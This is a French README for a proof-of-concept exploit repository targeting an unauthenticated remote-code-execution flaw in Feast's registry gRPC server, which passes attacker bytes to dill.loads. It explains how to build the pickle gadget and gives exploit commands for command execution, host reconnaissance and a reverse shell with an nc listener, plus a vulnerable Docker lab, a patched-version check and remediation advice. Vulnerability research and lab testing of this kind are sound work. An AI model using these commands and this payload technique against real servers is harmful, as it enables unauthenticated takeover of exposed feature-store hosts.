
Preuve de concept d'exploitation pour CVE-2026-56121, une RCE non authentifiée dans le serveur gRPC du registre de Feast via une désérialisation dill non sécurisée. Inclut un laboratoire vulnérable dockerisé pour les tests et la validation.
Exécution de code à distance non authentifiée dans Feast
(< 0.63.0) via une désérialisation non sécurisée dill.loads dans le serveur gRPC du registre.
Ce dépôt contient un exploit autonome de preuve de concept et un laboratoire vulnérable
conteneurisé pour le valider.
| CVE | CVE-2026-56121 |
| Produit | Feast (feature store) — serveur gRPC du registre |
| Versions affectées | feast < 0.63.0 |
| Corrigé dans | 0.63.0 (commit 835cda8) |
| Classe | CWE-502 — Désérialisation de données non fiables |
| Impact | Exécution de code à distance non authentifiée (configuration par défaut auth: no_auth) |
| Port par défaut | 6570/tcp (serveur gRPC du registre) |
⚠️ Uniquement pour des tests de sécurité autorisés et à des fins éducatives. N'exécutez cela que contre le laboratoire Docker fourni ou des systèmes que vous possédez / pour lesquels vous avez une autorisation explicite de test. Toute utilisation non autorisée contre des systèmes tiers est illégale.
Le gestionnaire gRPC du registre Feast RegistryServer.ApplyFeatureView désérialise la
spécification de feature view entrante en appelant OnDemandFeatureView.from_proto(...) avant
d'effectuer toute vérification d'autorisation. Pour une On-Demand Feature View en mode pandas avec un
corps de UDF non vide, ce chemin atteint PandasTransformation.from_proto, qui exécute
dill.loads(user_defined_function.body) sur des octets contrôlés par l'attaquant. Comme dill
exécute les opcodes pickle, un objet avec un __reduce__ malveillant exécute du Python arbitraire dans
le processus serveur. La configuration fournie est auth: no_auth et le serveur gRPC n'a
aucun intercepteur d'authentification, donc toute personne pouvant atteindre le port 6570 obtient une exécution de code.
Voir ANALYSIS.md pour le parcours complet du chemin de code et le diff du correctif.
.
├── exploit/
│ ├── exploit.py # client PoC complet : --check / --cmd / --reverse-shell
│ ├── poc.py # PoC minimal en un seul fichier, même primitive en ~90 lignes
│ ├── build_protos.sh # (re)génère les stubs protobuf depuis [email protected]
│ └── protos/ # stubs *_pb2 générés et commités (exécute le PoC sans protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 par défaut ; FEAST_VERSION sélectionne la version
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # projet Feast minimal (auth: no_auth)
├── requirements.txt # dépendances de l'exploit : grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# le serveur gRPC du registre écoute maintenant sur localhost:6570
docker compose logs -f # attendre "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Vérification sûre (non destructive) — prouve que le serveur désérialise les données de l'attaquant en
écrivant un fichier marqueur dans /tmp et en renvoyant les informations de l'hôte, sans exécuter de commande shell :
python exploit/exploit.py --target 127.0.0.1:6570 --check
Exécuter une commande et voir sa sortie (mode par défaut) :
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Shell inverse interactif — démarrez d'abord votre écouteur, puis délivrez la charge utile :
# terminal A
nc -lvnp 4444
# terminal B (utilisez une adresse que le conteneur peut joindre en retour)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
Les modes --cmd et --check démarrent un écouteur TCP de courte durée dans l'exploit lui-même
et affichent ce que la cible renvoie — aucun outil externe requis dans l'image cible.
Un équivalent simplifié se trouve dans exploit/poc.py, si vous voulez la primitive complète dans un
fichier lisible :
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Note sur le callback.
--check,--cmdetpoc.pyreposent sur la connexion de retour de la cible vers un écouteur sur votre machine. L'exécution depuis l'hôte fonctionne directement. Si vous exécutez l'exploit depuis un conteneur, placez-le sur le réseau du laboratoire (docker run --network lab_default ...), sinon la charge utile s'exécute mais la réponse n'arrive jamais et l'outil signale « no callback ».
Les stubs dans exploit/protos/ sont commités, vous n'avez donc pas besoin de protoc. Si vous les
régénérez, utilisez le script — il épingle grpcio-tools intentionnellement :
./exploit/build_protos.sh # s'exécute dans un conteneur python:3.11 épinglé
protoc appose une version de gencode dans chaque _pb2.py, et protobuf refuse de charger un
stub dont le gencode est plus récent que le runtime installé. L'épingle maintient le chargement des stubs
sur protobuf >= 5.29, < 8 (vérifié avec 5.29.6, 6.33.6 et 7.36.0).
Reconstruisez le laboratoire avec la version corrigée et relancez l'exploit :
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Résultat attendu sur 0.63.0 : [-] No callback received. et aucun fichier marqueur sur la cible —
le gestionnaire passe skip_udf=True, donc le corps de la UDF n'est jamais désérialisé avant la
vérification d'authentification. Revenez au laboratoire vulnérable avec docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest dont la spécification on_demand_feature_view a
mode = "pandas" et un feature_transformation.user_defined_function
(UserDefinedFunctionV2) avec :
body_text = non vide (requis pour atteindre la branche de désérialisation pandas),body = un pickle d'un objet dont le __reduce__ appelle exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) pendant from_proto — avant la vérification d'authentification —
exécutant la charge utile. Le RPC lui-même peut ensuite échouer ; le code a déjà été exécuté.L'exploit fabrique le gadget avec le module pickle de la bibliothèque standard (le dill.loads du serveur
décode sans problème les opcodes pickle simples), donc le côté attaquant n'a besoin que de grpcio + protobuf.
>= 0.63.0. Le correctif transmet un drapeau skip_udf=True à travers
*.from_proto, afin que le serveur du registre valide les permissions sur les métadonnées de spécification sans
désérialiser le corps de la UDF.6570) aux réseaux non fiables.auth: kubernetes / auth: oidc) au lieu du no_auth par défaut.